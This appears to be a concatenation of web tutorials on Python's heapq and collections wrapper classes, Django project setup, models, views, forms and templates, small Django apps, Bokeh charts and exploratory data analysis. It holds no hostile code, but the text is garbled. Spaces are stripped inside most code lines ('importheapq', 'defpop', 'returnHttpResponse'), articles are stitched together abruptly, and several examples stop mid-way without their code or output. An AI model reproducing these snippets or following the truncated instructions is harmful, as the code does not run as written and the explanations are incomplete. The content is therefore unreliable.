# Python code to demonstrate working of
# heapify(), heappush() and heappop()
# importing "heapq" to implement heap queue
importheapq
# initializing list
li =[5, 7, 9, 1, 3]
# using heapify to convert list into heap
heapq.heapify(li)
# printing created heap
print("The created heap is : ",end="")
print(list(li))
# using heappush() to push elements into heap
# pushes 4
heapq.heappush(li,4)
# printing modified heap
print("The modified heap after push is : ",end="")
print(list(li))
# using heappop() to pop smallest element
print("The popped and smallest element is : ",end="")
print(heapq.heappop(li))
Output :
The created heap is : [1, 3, 9, 7, 5]
The modified heap after push is : [1, 3, 4, 7, 5, 9]
The popped and smallest element is : 1
heappushpop(heap, ele)
:- This function combines the functioning of both push and pop operations in one statement, increasing efficiency. Heap order is maintained after this operation.
heapreplace(heap, ele) :- This function also inserts and pops element in one statement, but it is different from above function. In this, element is first popped, then the element is pushed.i.e, the value larger than the pushed value can be returned.heapreplace() returns the smallest value originally in heap regardless of the pushed element as opposed to heappushpop().
# Python code to demonstrate working of
# heappushpop() and heapreplce()
# importing "heapq" to implement heap queue
importheapq
# initializing list 1
li1 =[5, 7, 9, 4, 3]
# initializing list 2
li2 =[5, 7, 9, 4, 3]
# using heapify() to convert list into heap
heapq.heapify(li1)
heapq.heapify(li2)
# using heappushpop() to push and pop items simultaneously
# pops 2
print("The popped item using heappushpop() is : ",end="")
print(heapq.heappushpop(li1, 2))
# using heapreplace() to push and pop items simultaneously
# pops 3
print("The popped item using heapreplace() is : ",end="")
print(heapq.heapreplace(li2, 2))
Output :
The popped item using heappushpop() is : 2
The popped item using heapreplace() is : 3
nlargest(k, iterable, key = fun)
:- This function is used to return the k largest elements from the iterable specified and satisfying the key if mentioned.
nsmallest(k, iterable, key = fun) :- This function is used to return the k smallest elements from the iterable specified and satisfying the key if mentioned.
# Python code to demonstrate working of
# nlargest() and nsmallest()
# importing "heapq" to implement heap queue
importheapq
# initializing list
li1 =[6, 7, 9, 4, 3, 5, 8, 10, 1]
# using heapify() to convert list into heap
heapq.heapify(li1)
# using nlargest to print 3 largest numbers
# prints 10, 9 and 8
print("The 3 largest numbers in list are : ",end="")
print(heapq.nlargest(3, li1))
# using nsmallest to print 3 smallest numbers
# prints 1, 3 and 4
print("The 3 smallest numbers in list are : ",end="")
print(heapq.nsmallest(3, li1))
Output :
The 3 largest numbers in list are : [10, 9, 8]
The 3 smallest numbers in list are : [1, 3, 4]
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
An unordered collection of data values that are used to store data values like a map is known as Dictionary in Python. Unlike other Data Types that hold only a single value as an element, Dictionary holds key:value pair. Key-value is provided in the dictionary to make it more optimized.
Python supports a dictionary like a container called UserDict present in the collections module. This class acts as a wrapper class around the dictionary objects. This class is useful when one wants to create a dictionary of their own with some modified functionality or with some new functionality. It can be considered as a way of adding new behaviors to the dictionary. This class takes a dictionary instance as an argument and simulates a dictionary that is kept in a regular dictionary. The dictionary is accessible by the data attribute of this class.
Syntax:
collections.UserDict([initialdata])
Example 1:
Python3
# Python program to demonstrate
# userdict
fromcollections importUserDict
d ={'a':1,
'b': 2,
'c': 3}
# Creating an UserDict
userD =UserDict(d)
print(userD.data)
# Creating an empty UserDict
userD =UserDict()
print(userD.data)
Output:
{'a': 1, 'b': 2, 'c': 3}
{}
Example 2: Let’s create a class inheriting from UserDict to implement a customized dictionary.
Python3
# Python program to demonstrate
# userdict
fromcollections importUserDict
# Creating a Dictionary where
# deletion is not allowed
classMyDict(UserDict):
# Function to stop deletion
# from dictionary
def__del__(self):
raiseRuntimeError("Deletion not allowed")
# Function to stop pop from
# dictionary
defpop(self, s =None):
raiseRuntimeError("Deletion not allowed")
# Function to stop popitem
# from Dictionary
defpopitem(self, s =None):
raiseRuntimeError("Deletion not allowed")
# Driver's code
d =MyDict({'a':1,
'b': 2,
'c': 3})
print("Original Dictionary")
print(d)
d.pop(1)
Output:
Original Dictionary
{'a': 1, 'c': 3, 'b': 2}
Traceback (most recent call last):
File "/home/3ce2f334f5d25a3e24d10d567c705ce6.py", line 35, in
d.pop(1)
File "/home/3ce2f334f5d25a3e24d10d567c705ce6.py", line 20, in pop
raise RuntimeError("Deletion not allowed")
RuntimeError: Deletion not allowed
Exception ignored in:
Traceback (most recent call last):
File "/home/3ce2f334f5d25a3e24d10d567c705ce6.py", line 15, in __del__
RuntimeError: Deletion not allowed
Python Lists are array-like data structure but unlike it can be homogeneous. A single list may contain DataTypes like Integers, Strings, as well as Objects. List in Python are ordered and have a definite count. The elements in a list are indexed according to a definite sequence and the indexing of a list is done with 0 being the first index. Note: For more information, refer to Python List
Collections.UserList
Python supports a List like a container called UserList present in the collections module. This class acts as a wrapper class around the List objects. This class is useful when one wants to create a list of their own with some modified functionality or with some new functionality. It can be considered as a way of adding new behaviors for the list. This class takes a list instance as an argument and simulates a list that is kept in a regular list. The list is accessible by the data attribute of the this class. Syntax:
collections.UserList([list])
Example 1:
Python3
# Python program to demonstrate
# userlist
fromcollections importUserList
L =[1, 2, 3, 4]
# Creating a userlist
userL =UserList(L)
print(userL.data)
# Creating empty userlist
userL =UserList()
print(userL.data)
Output:
[1, 2, 3, 4]
[]
Example 2:
Python3
# Python program to demonstrate
# userlist
fromcollections importUserList
# Creating a List where
# deletion is not allowed
classMyList(UserList):
# Function to stop deletion
# from List
defremove(self, s =None):
raiseRuntimeError("Deletion not allowed")
# Function to stop pop from
# List
defpop(self, s =None):
raiseRuntimeError("Deletion not allowed")
# Driver's code
L =MyList([1, 2, 3, 4])
print("Original List")
# Inserting to List"
L.append(5)
print("After Insertion")
print(L)
# Deleting From List
L.remove()
Output:
Original List
After Insertion
[1, 2, 3, 4, 5]
Traceback (most recent call last):
File "/home/9399c9e865a7493dce58e88571472d23.py", line 33, in
L.remove()
File "/home/9399c9e865a7493dce58e88571472d23.py", line 15, in remove
raise RuntimeError("Deletion not allowed")
RuntimeError: Deletion not allowed
Strings are the arrays of bytes representing Unicode characters. However, Python does not support the character data type. A character is a string of length one. Example:
Python3
# Python program to demonstrate
# string
# Creating a String
# with single Quotes
String1 ='Welcome to the Geeks World'
print("String with the use of Single Quotes: ")
print(String1)
# Creating a String
# with double Quotes
String1 ="I'm a Geek"
print("\nString with the use of Double Quotes: ")
print(String1)
Output:
String with the use of Single Quotes:
Welcome to the Geeks World
String with the use of Double Quotes:
I'm a Geek
Python supports a String like a container called UserString present in the collections module. This class acts as a wrapper class around the string objects. This class is useful when one wants to create a string of their own with some modified functionality or with some new functionality. It can be considered as a way of adding new behaviors for the string. This class takes any argument that can be converted to string and simulates a string whose content is kept in a regular string. The string is accessible by the data attribute of this class. Syntax:
collections.UserString(seq)
Example 1:
Python3
# Python program to demonstrate
# userstring
fromcollections importUserString
d =12344
# Creating an UserDict
userS =UserString(d)
print(userS.data)
# Creating an empty UserDict
userS =UserString("")
print(userS.data)
Output:
12344
Example 2:
Python3
# Python program to demonstrate
# userstring
fromcollections importUserString
# Creating a Mutable String
classMystring(UserString):
# Function to append to
# string
defappend(self, s):
self.data +=s
# Function to remove from
# string
defremove(self, s):
self.data =self.data.replace(s, "")
# Driver's code
s1 =Mystring("Geeks")
print("Original String:", s1.data)
# Appending to string
s1.append("s")
print("String After Appending:", s1.data)
# Removing from string
s1.remove("e")
print("String after Removing:", s1.data)
Output:
Original String: Geeks
String After Appending: Geekss
String after Removing: Gkss
Django is a Python-based web framework that allows you to quickly create efficient web applications. It is also called batteries included framework because Django provides built-in features for everything including Django Admin Interface, default database – SQLlite3, etc. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use and that too for rapid development.
Why Django Framework ?
Excellent documentation and high scalability.
Used by Top MNCs and Companies, such as Instagram, Disqus, Spotify, Youtube, Bitbucket, Dropbox, etc. and the list is never-ending.
Easiest Framework to learn, rapid development and Batteries fully included.
The last but not least reason to learn Django is Python, Python has huge library and features such as Web Scrapping, Machine Learning, Image Processing, Scientific Computing, etc. One can integrate it all this with web application and do lots and lots of advance stuff.
Django is a Python-based web framework which allows you to quickly create web application without all of the installation or dependency problems that you normally will find with other frameworks. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use.
Why Django?
Django is a rapid web development framework that can be used to develop fully fleshed web applications in a short period of time.
It’s very easy to switch database in Django framework.
It has built-in admin interface which makes easy to work with it.
Django is fully functional framework that requires nothing else.
It has thousands of additional packages available.
Django is based on MVT (Model-View-Template) architecture. MVT is a software design pattern for developing a web application.
MVT Structure has the following three parts –
Model: Model is going to act as the interface of your data. It is responsible for maintaining data. It is the logical data structure behind the entire application and is represented by a database (generally relational databases such as MySql, Postgres).
View: The View is the user interface — what you see in your browser when you render a website. It is represented by HTML/CSS/Javascript and Jinja files.
Template: A template consists of static parts of the desired HTML output as well as some special syntax describing how dynamic content will be inserted.
Install python3 if not installed in your system ( according to configuration of your system and OS) from here . Try to download the latest version of python it’s python3.6.4 this time.
Note- Installation of Django in Linux and Mac is similar, here I am showing it in windows for Linux and mac just open terminal in place of command prompt and go through the following commands.
Install pip- Open command prompt and enter following command-
python -m pip install -U pip
Install virtual environment- Enter following command in cmd-
pip install virtualenv
Set Virtual environment- Setting up the virtual environment will allow you to edit the dependency which generally your system wouldn’t allow. Follow these steps to set up a virtual environment-
Create a virtual environment by giving this command in cmd-
virtualenv env_site
Change directory to env_site by this command-
cd env_site
Go to Script directory inside env_site and activate virtual environment-
cd Scripts
activate
Install Django- Install django by giving following command-
pip install django
Creating a Project
Lets’ check how to create a basic project using Django after you have installed it in your pc.
To initiate a project of Django on Your PC, open Terminal and Enter the following command
django-admin startproject projectName
A New Folder with name projectName will be created. To enter in the project using terminal enter command
Django is famous for its unique and fully managed app structure. For every functionality, an app can be created like a completely independent module. This article will take you through how to create a basic app and add functionalities using that app.
To create a basic app in your Django project you need to go to directory containing manage.py and from there enter the command :
python manage.py startapp projectApp
Now you can see your directory structure as under :
To consider the app in your project you need to specify your project name in INSTALLED_APPS list as follows in settings.py:
# Application definition
INSTALLED_APPS =[
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'projectApp'
]
So, we have finally created an app but to render the app using urls we need to include the app in our main project so that urls redirected to that app can be rendered. Let us explore it. Move to projectName-> projectName -> urls.py and add below code in the header
from django.urls import include
Now in the list of URL patterns, you need to specify app name for including your app urls. Here is the code for it –
fromdjango.contrib importadmin
fromdjango.urls importpath, include
urlpatterns =[
path('admin/', admin.site.urls),
# Enter the app name in following syntax for this to work
path('', include("projectApp.urls")),
]
Now You can use the default MVT model to create URLs, models, views, etc. in your app and they will be automatically included in your main project.
The main feature of Django Apps is independence, every app functions as an independent unit in supporting the main project. To know more about apps in Django, visit How to Create an App in Django ?
Django is a Python-based web framework which allows you to quickly create web application without all of the installation or dependency problems that you normally will find with other frameworks. When you’re building a website, you always need a similar set of components: a way to handle user authentication (signing up, signing in, signing out), a management panel for your website, forms, a way to upload files, etc. Django gives you ready-made components to use.
Why Django?
It’s very easy to switch database in Django framework.
It has built-in admin interface which makes easy to work with it.
Django is fully functional framework that requires nothing else.
It has thousands of additional packages available.
It is very scalable.
Popularity of Django
Django is used in many popular sites like as: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic etc. There are more than 5k online sites based on the Django framework. ( Source ) Sites like Hot Frameworks assess the popularity of a framework by counting the number of GitHub projects and StackOverflow questions for each platform, here Django is in 6th position. Web frameworks often refer to themselves as “opinionated” or “un-opinionated” based on opinions about the right way to handle any particular task. Django is somewhat opinionated, hence delivers the in both worlds( opinionated & un-opinionated ).
Features of Django
Versatility of Django Django can build almost any type of website. It can also work with any client-side framework and can deliver content in any format such as HTML, JSON, XML etc. Some sites which can be built using Django are wikis, social networks, new sites etc.
Security Since Django framework is made for making web development easy, it has been engineered in such a way that it automatically do the right things to protect the website. For example, In the Django framework instead of putting a password in cookies, the hashed password is stored in it so that it can’t be fetched easily by hackers.
Scalability Django web nodes have no stored state, they scale horizontally – just fire up more of them when you need them. Being able to do this is the essence of good scalability. Instagram and Disqus are two Django based products that have millions of active users, this is taken as an example of the scalability of Django.
Portability All the codes of the Django framework are written in Python, which runs on many platforms. Which leads to run Django too in many platforms such as Linux, Windows and Mac OS.
Installation of Django
Install python3 if not installed in your system ( according to configuration of your system and OS) from here . Try to download the latest version of python it’s python3.6.4 this time.
Note- Installation of Django in Linux and Mac is similar, here I am showing it in windows for Linux and mac just open terminal in place of command prompt and go through the following commands.
Install pip- Open command prompt and enter following command-
python -m pip install -U pip
Install virtual environment- Enter following command in cmd-
pip install virtualenv
Set Virtual environment- Setting up the virtual environment will allow you to edit the dependency which generally your system wouldn’t allow. Follow these steps to set up a virtual environment-
Create a virtual environment by giving this command in cmd-
virtualenv env_site
Change directory to env_site by this command-
cd env_site
Go to Scripts directory inside env_site and activate virtual environment-
cd Scripts
activate
Install Django- Install django by giving following command-
pip install django
Return to the env_site directory-
cd ..
Start a project by following command-
django-admin startproject geeks_site
Change directory to geeks_site
cd geeks_site
Start the server- Start the server by typing following command in cmd-
python manage.py runserver
To check whether server is running or not go to web browser and enter http://127.0.0.1:8000/ as url.
When one creates a Form class, the most important part is defining the fields of the form. Each field has custom validation logic, along with a few other hooks. This article revolves around various fields one can use in a form along with various features and techniques concerned with Django Forms. Forms are basically used for taking input from the user in some manner and using that information for logical operations on databases. For example, Registering a user by taking input as his name, email, password, etc.
Django maps the fields defined in Django forms into HTML input fields. Django handles three distinct parts of the work involved in forms:
preparing and restructuring data to make it ready for rendering
creating HTML forms for the data
receiving and processing submitted forms and data from the client
Note that all types of work done by Django forms can be done with advanced HTML stuff, but Django makes it easier and efficient especially the validation part. Once you get hold of Django forms you will just forget about HTML forms.
Syntax : Django Fields work like Django Model Fields and have the syntax:
To use Django Forms, one needs to have a project and an app working in it. After you start an app you can create a form in app/forms.py. Before starting to use a form let’s check how to start a project and implement Django Forms.
Refer to the following articles to check how to create a project and an app in Django.
Creating a form in Django is completely similar to creating a model, one needs to specify what fields would exist in the form and of what type. For example, to input, a registration form one might need First Name (CharField), Roll Number (IntegerField), and so on.
Syntax:
from django import forms
class FormName(forms.Form):
# each field would be mapped as an input field in HTML
field_name = forms.Field(**options)
To create a form, in geeks/forms.py Enter the code,
Django form fields have several built-in methods to ease the work of the developer but sometimes one needs to implement things manually for customizing User Interface(UI). A form comes with 3 in-built methods that can be used to render Django form fields.
Django ModelForm is a class that is used to directly convert a model into a Django form. If you’re building a database-driven app, chances are you’ll have forms that map closely to Django models. Now when we have our project ready, create a model in geeks/models.py,
The most important part of a form and the only required part is the list of fields it defines. Fields are specified by class attributes. Here is a list of all Form Field types used in Django
Core Field arguments are the arguments given to each field for applying some constraint or imparting a particular characteristic to a particular Field. For example, adding an argument required = False to CharField will enable it to be left blank by the user. Each Field class constructor takes at least these arguments. Some Field classes take additional, field-specific arguments, but the following should always be accepted:
The help_text argument lets you specify descriptive text for this Field. If you provide help_text, it will be displayed next to the Field when the Field is rendered by one of the convenience Form methods.
The error_messages argument lets you override the default messages that the field will raise. Pass in a dictionary with keys matching the error messages you want to override.
Django Views are one of the vital participants of MVT Structure of Django. As per Django Documentation, A view function is a Python function that takes a Web request and returns a Web response. This response can be the HTML contents of a Web page, or a redirect, or a 404 error, or an XML document, or an image, anything that a web browser can display.
Django views are part of the user interface — they usually render the HTML/CSS/Javascript in your Template files into what you see in your browser when you render a web page. (Note that if you’ve used other frameworks based on the MVC (Model-View-Controller), do not get confused between Django views and views in the MVC paradigm. Django views roughly correspond to controllers in MVC, and Django templates to views in MVC.)
Django View Example
Illustration of How to create and use a Django view using an Example. Consider a project named geeksforgeeks having an app named geeks.
Refer to the following articles to check how to create a project and an app in Django.
After you have a project ready, we can create a view in geeks/views.py,
Python3
# import Http Response from django
fromdjango.http importHttpResponse
# get datetime
importdatetime
# create a function
defgeeks_view(request):
# fetch date and time
now =datetime.datetime.now()
# convert to string
html ="Time is {}".format(now)
# return response
returnHttpResponse(html)
Let’s step through this code one line at a time:
First, we import the class HttpResponse from the django.http module, along with Python’s datetime library.
Next, we define a function called geeks_view. This is the view function. Each view function takes an HttpRequest object as its first parameter, which is typically named request.
The view returns an HttpResponse object that contains the generated response. Each view function is responsible for returning an HttpResponse object.
To check how to make a basic project using MVT (Model, View, Template) structure of Django, visit Creating a Project Django.
Types of Views
Django views are divided into two major categories:-
Function-Based Views
Class-Based Views
Function Based Views
Function based views are writer using a function in python which receives as an argument HttpRequest object and returns an HttpResponse Object. Function based views are generally divided into 4 basic strategies, i.e., CRUD (Create, Retrieve, Update, Delete). CRUD is the base of any framework one is using for development.
Function based view Example –
Let’s Create a function-based view list view to display instances of a model. Let’s create a model of which we will be creating instances through our view. In geeks/models.py,
Python3
# import the standard Django Model
# from built-in library
fromdjango.db importmodels
# declare a new model with a name "GeeksModel"
classGeeksModel(models.Model):
# fields of the model
title =models.CharField(max_length =200)
description =models.TextField()
# renames the instances of the model
# with their title name
def__str__(self):
returnself.title
After creating this model, we need to run two commands in order to create Database for the same.
Class-based views provide an alternative way to implement views as Python objects instead of functions. They do not replace function-based views, but have certain differences and advantages when compared to function-based views:
Organization of code related to specific HTTP methods (GET, POST, etc.) can be addressed by separate methods instead of conditional branching.
Object oriented techniques such as mixins (multiple inheritance) can be used to factor code into reusable components.
Class-based views are simpler and efficient to manage than function-based views. A function-based view with tons of lines of code can be converted into class-based views with few lines only. This is where Object-Oriented Programming comes into impact.
Class based view Example –
In geeks/views.py,
Python3
fromdjango.views.generic.listimportListView
from.models importGeeksModel
classGeeksList(ListView):
# specify the model for list view
model =GeeksModel
Now create a URL path to map the view. In geeks/urls.py,
Python3
fromdjango.urls importpath
# importing views from views..py
from.views importGeeksList
urlpatterns =[
path('', GeeksList.as_view()),
]
Create a template in templates/geeks/geeksmodel_list.html,
A Django model is the built-in feature that Django uses to create tables, their fields, and various constraints. In short, Django Models is the SQL of Database one uses with Django. SQL (Structured Query Language) is complex and involves a lot of different queries for creating, deleting, updating or any other stuff related to database. Django models simplify the tasks and organize tables into models. Generally, each model maps to a single database table. This article revolves about how one can use Django models to store data in the database conveniently. Moreover, we can use admin panel of Django to create, update, delete or retrieve fields of a model and various similar operations. Django models provide simplicity, consistency, version control and advanced metadata handling. Basics of a model include –
Each model is a Python class that subclasses django.db.models.Model.
Each attribute of the model represents a database field.
With all of this, Django gives you an automatically-generated database-access API; see Making queries.
Example –
Python3
fromdjango.db importmodels
# Create your models here.
classGeeksModel(models.Model):
title =models.CharField(max_length =200)
description =models.TextField()
Django maps the fields defined in Django models into table fields of the database as shown below.
Using Django Models
To use Django Models, one needs to have a project and an app working in it. After you start an app you can create models in app/models.py. Before starting to use a model let’s check how to start a project and create an app named geeks.py
Refer to the following articles to check how to create a project and an app in Django.
Whenever we create a Model, Delete a Model, or update anything in any of models.py of our project. We need to run two commands makemigrations and migrate. makemigrations basically generates the SQL commands for preinstalled apps (which can be viewed in installed apps in settings.py) and your newly created app’s model which you add in installed apps whereas migrate executes those SQL commands in the database file. So when we run,
Python manage.py makemigrations
SQL Query to create above Model as a Table is created and
Python manage.py migrate
creates the table in the database. Now we have created a model we can perform various operations such as creating a Row for the table or in terms of Django Creating an instance of Model. To know more visit – Django Basic App Model – Makemigrations and Migrate
Render a model in Django Admin Interface
To render a model in Django admin, we need to modify app/admin.py. Go to admin.py in geeks app and enter the following code. Import the corresponding model from models.py and register it to the admin interface.
Python3
fromdjango.contrib importadmin
# Register your models here.
from.models importGeeksModel
admin.site.register(GeeksModel)
Now we can check whether the model has been rendered in Django Admin. Django Admin Interface can be used to graphically implement CRUD (Create, Retrieve, Update, Delete).
Django CRUD – Inserting, Updating and Deleting Data
Django lets us interact with its database models, i.e. add, delete, modify and query objects, using a database-abstraction API called ORM(Object Relational Mapper). We can access the Django ORM by running the following command inside our project directory.
python manage.py shell
Adding objects. To create an object of model Album and save it into the database, we need to write the following command:
>>>> a = GeeksModel(
title = "GeeksForGeeks",
description = "A description here",
img = "geeks/abc.png"
)
>>> a.save()
Retrieving objects To retrieve all the objects of a model, we write the following command:
Built-in Field Validations in Django models are the default validations that come predefined to all Django fields. Every field comes in with built-in validations from Django validators. For example, IntegerField comes with built-in validation that it can only store integer values and that too in a particular range. Enter the following code into models.py file of geeks app.
Python3
fromdjango.db importmodels
fromdjango.db.models importModel
# Create your models here.
classGeeksModel(Model):
geeks_field =models.IntegerField()
def__str__(self):
returnself.geeks_field
After running makemigrations and migrate on Django and rendering above model, let us try to create an instance using string “GfG is Best“.
You can see in the admin interface, one can not enter a string in an IntegerField. Similarly every field has its own validations. To know more about validations visit, Built-in Field Validations – Django Models
The most important part of a model and the only required part of a model is the list of database fields it defines. Fields are specified by class attributes. Here is a list of all Field types used in Django.
Slug is a newspaper term. A slug is a short label for something, containing only letters, numbers, underscores or hyphens. They’re generally used in URLs.
A field for storing universally unique identifiers. Uses Python’s UUID class. When used on PostgreSQL, this stores in a uuid datatype, otherwise in a char(32).
Relationship Fields
Django also defines a set of fields that represent relations.
A many-to-many relationship. Requires a positional argument: the class to which the model is related, which works exactly the same as it does for ForeignKey, including recursive and lazy relationships.
A one-to-one relationship. Conceptually, this is similar to a ForeignKey with unique=True, but the “reverse” side of the relation will directly return a single object.
Field Options
Field Options are the arguments given to each field for applying some constraint or imparting a particular characteristic to a particular Field. For example, adding an argument null = True to CharField will enable it to store empty values for that table in relational database. Here are the field options and attributes that an CharField can use.
The error_messages argument lets you override the default messages that the field will raise. Pass in a dictionary with keys matching the error messages you want to override.
A human-readable name for the field. If the verbose name isn’t given, Django will automatically create it using the field’s attribute name, converting underscores to spaces.
Templates are the third and most important part of Django’s MVT Structure. A template in Django is basically written in HTML, CSS, and Javascript in a .html file. Django framework efficiently handles and generates dynamically HTML web pages that are visible to the end-user. Django mainly functions with a backend so, in order to provide a frontend and provide a layout to our website, we use templates. There are two methods of adding the template to our website depending on our needs. We can use a single template directory which will be spread over the entire project. For each app of our project, we can create a different template directory.
For our current project, we will create a single template directory that will be spread over the entire project for simplicity. App-level templates are generally used in big projects or in case we want to provide a different layout to each component of our webpage.
Configuration
Django Templates can be configured in app_name/settings.py,
Illustration of How to use templates in Django using an Example Project. Templates not only show static data but also the data from different databases connected to the application through a context dictionary. Consider a project named geeksforgeeks having an app named geeks.
Refer to the following articles to check how to create a project and an app in Django.
This is one of the most important facilities provided by Django Templates. A Django template is a text document or a Python string marked-up using the Django template language. Some constructs are recognized and interpreted by the template engine. The main ones are variables and tags. As we used for the loop in the above example, we used it as a tag. similarly, we can use various other conditions such as if, else, if-else, empty, etc. The main characteristics of Django Template language are Variables, Tags, Filters, and Comments.
Variables
Variables output a value from the context, which is a dict-like object mapping keys to values. The context object we sent from the view can be accessed in the template using variables of Django Template.
Syntax
{{ variable_name }}
Example Variables are surrounded by {{ and }} like this:
My first name is {{ first_name }}. My last name is {{ last_name }}.
With a context of {‘first_name’: ‘Naveen’, ‘last_name’: ‘Arora’}, this template renders to:
Tags provide arbitrary logic in the rendering process. For example, a tag can output content, serve as a control structure e.g. an “if” statement or a “for” loop, grab content from a database, or even enable access to other template tags.
Django Template Engine provides filters that are used to transform the values of variables and tag arguments. We have already discussed major Django Template Tags. Tags can’t modify the value of a variable whereas filters can be used for incrementing the value of a variable or modifying it to one’s own need.
Syntax
{{ variable_name | filter_name }}
Filters can be “chained.” The output of one filter is applied to the next. {{ text|escape|linebreaks }} is a common idiom for escaping text contents, then converting line breaks to <p> tags.
Example
{{ value | length }}
If value is [‘a’, ‘b’, ‘c’, ‘d’], the output will be 4.
Template ignores everything between {% comment %} and {% end comment %}. An optional note may be inserted in the first tag. For example, this is useful when commenting out code for documenting why the code was disabled.
Syntax
{% comment 'comment_name' %}
{% endcomment %}
Example :
{% comment "Optional note" %}
Commented out text with {{ create_date|date:"c" }}
{% endcomment %}
The most powerful and thus the most complex part of Django’s template engine is template inheritance. Template inheritance allows you to build a base “skeleton” template that contains all the common elements of your site and defines blocks that child templates can override. extends tag is used for the inheritance of templates in Django. One needs to repeat the same code again and again. Using extends we can inherit templates as well as variables.
Syntax
{% extends 'template_name.html' %}
Example : assume the following directory structure:
Prerequisite :django installation Django is a high-level Python Web framework based web framework that allows rapid development and clean, pragmatic design. today we will create a todo app created to understand the basics of Django. In this web app, one can create notes like Google Keep or Evernote. Modules required :
basic setup : Start a project by the following command –
django-admin startproject todo-site
Change directory to todo-site –
cd todo-site
Start the server- Start the server by typing following command in terminal –
python manage.py runserver
To check whether the server is running or not go to a web browser and enter http://127.0.0.1:8000/ as URL. Now stop the server by pressing
ctrl-c
Let’s create an app now.
python manage.py startapp todo
Goto todo/ folder by doing : cd todo and create a folder with index.html file : templates/todo/index.html Open the project folder using a text editor. The directory structure should look like this :
Now add todo app and crispty_form in your todo_site in settings.py.
Django is a high-level framework which is written in Python which allows us to create server-side web applications. In this article, we will see how to create a News application using Django. We will be using News Api and fetch all the headline news from the api. Read more about the api here news api. Do the Following steps in command prompt or terminal:
Open the newsproject folder using a text editor. The directory structure should look like this
Create a “templates” folder in your newsapp and it in settings.py Settings .py
In views.py – In views, we create a view named index which takes a request and renders an html as a response. Firstly we import newsapi from NewsApiClient.
# importing api
fromdjango.shortcuts importrender
fromnewsapi importNewsApiClient
# Create your views here.
defindex(request):
newsapi =NewsApiClient(api_key ='YOURAPIKEY')
top =newsapi.get_top_headlines(sources ='techcrunch')
In this tutorial, we will learn how to create a Weather app that uses Django as backend. Django provides a Python Web framework based web framework that allows rapid development and clean, pragmatic design.
Basic Setup – Change directory to weather –
cd weather
Start the server –
python manage.py runserver
To check whether the server is running or not go to a web browser and enter http://127.0.0.1:8000/ as URL. Now, you can stop the server by pressing
ctrl-c
Implementation :
python manage.py startapp main
Goto main/ folder by doing :
cd main
and create a folder with index.html file: templates/main/index.html
Open the project folder using a text editor. The directory structure should look like this :
Now add main app in settings.py
Edit urls.py file in weather :
fromdjango.contrib importadmin
fromdjango.urls importpath, include
urlpatterns =[
path('admin/', admin.site.urls),
path('', include('main.urls')),
]
edit urls.py file in main :
fromdjango.urls importpath
from. importviews
urlpatterns =[
path('', views.index),
]
edit views.py in main :
fromdjango.shortcuts importrender
# import json to load json data to python dictionary
importjson
# urllib.request to make a request to api
importurllib.request
defindex(request):
ifrequest.method =='POST':
city =request.POST['city']
''' api key might be expired use your own api_key
place api_key in place of appid ="your_api_key_here " '''
Bokeh is a data visualization library in Python that provides high-performance interactive charts and plots. Bokeh output can be obtained in various mediums like notebook, html and server. It is possible to embed bokeh plots in Django and flask apps.
Bokeh provides two visualization interfaces to users:
bokeh.models : A low level interface that provides high flexibility to application developers. bokeh.plotting : A high level interface for creating visual glyphs.
To install bokeh package, run the following command in the terminal:
pip install bokeh
The dataset used for generating bokeh graphs is collected from Kaggle.
Code #1: Scatter Markers To create scatter circle markers, circle() method is used.
# import modules
frombokeh.plotting importfigure, output_notebook, show
# output to notebook
output_notebook()
# create figure
p =figure(plot_width =400, plot_height =400)
# add a circle renderer with
# size, color and alpha
p.circle([1, 2, 3, 4, 5], [4, 7, 1, 6, 3],
size =10, color ="navy", alpha =0.5)
# show the results
show(p)
Output :
Code #2: Single line To create a single line, line() method is used.
# import modules
frombokeh.plotting importfigure, output_notebook, show
# output to notebook
output_notebook()
# create figure
p =figure(plot_width =400, plot_height =400)
# add a line renderer
p.line([1, 2, 3, 4, 5], [3, 1, 2, 6, 5],
line_width =2, color ="green")
# show the results
show(p)
Output :
Code #3: Bar Chart Bar chart presents categorical data with rectangular bars. The length of the bar is proportional to the values that are represented.
# import necessary modules
importpandas as pd
frombokeh.charts importBar, output_notebook, show
# output to notebook
output_notebook()
# read data in dataframe
df =pd.read_csv(r"D:/kaggle/mcdonald/menu.csv")
# create bar
p =Bar(df, "Category", values ="Calories",
title ="Total Calories by Category",
legend ="top_right")
# show the results
show(p)
Output :
Code #4: Box Plot Box plot is used to represent statistical data on a plot. It helps to summarize statistical properties of various data groups present in the data.
# import necessary modules
frombokeh.charts importBoxPlot, output_notebook, show
p =BoxPlot(df, values ="Protein", label ="Category",
color ="yellow", title ="Protein Summary (grouped by category)",
legend ="top_right")
# show the results
show(p)
Output :
Code #5: Histogram Histogram is used to represent distribution of numerical data. The height of a rectangle in a histogram is proportional to the frequency of values in a class interval.
# import necessary modules
frombokeh.charts importHistogram, output_notebook, show
Code #6: Scatter plot Scatter plot is used to plot values of two variables in a dataset. It helps to find correlation among the two variables that are selected.
# import necessary modules
frombokeh.charts importScatter, output_notebook, show
EDA is a phenomenon under data analysis used for gaining a better understanding of data aspects like: – main features of data – variables and relationships that hold between them – identifying which variables are important for our problem We shall look at various exploratory data analysis methods like:
Descriptive Statistics, which is a way of giving a brief overview of the dataset we are dealing with, including some measures and features of the sample
Grouping data [Basic grouping with group by]
ANOVA, Analysis Of Variance, which is a computational method to divide variations in an observations set into different components.
Correlation and correlation methods
The dataset we’ll be using is child voting dataset, which you can import in python as:
Descriptive statistics is a helpful way to understand characteristics of your data and to get a quick summary of it. Pandas in python provide an interesting method describe(). The describe function applies basic statistical computations on the dataset like extreme values, count of data points standard deviation etc. Any missing value or NaN value is automatically skipped. describe() function gives a good picture of distribution of data.
Python3
DF.describe()
Here’s the output you’ll get on running above code:
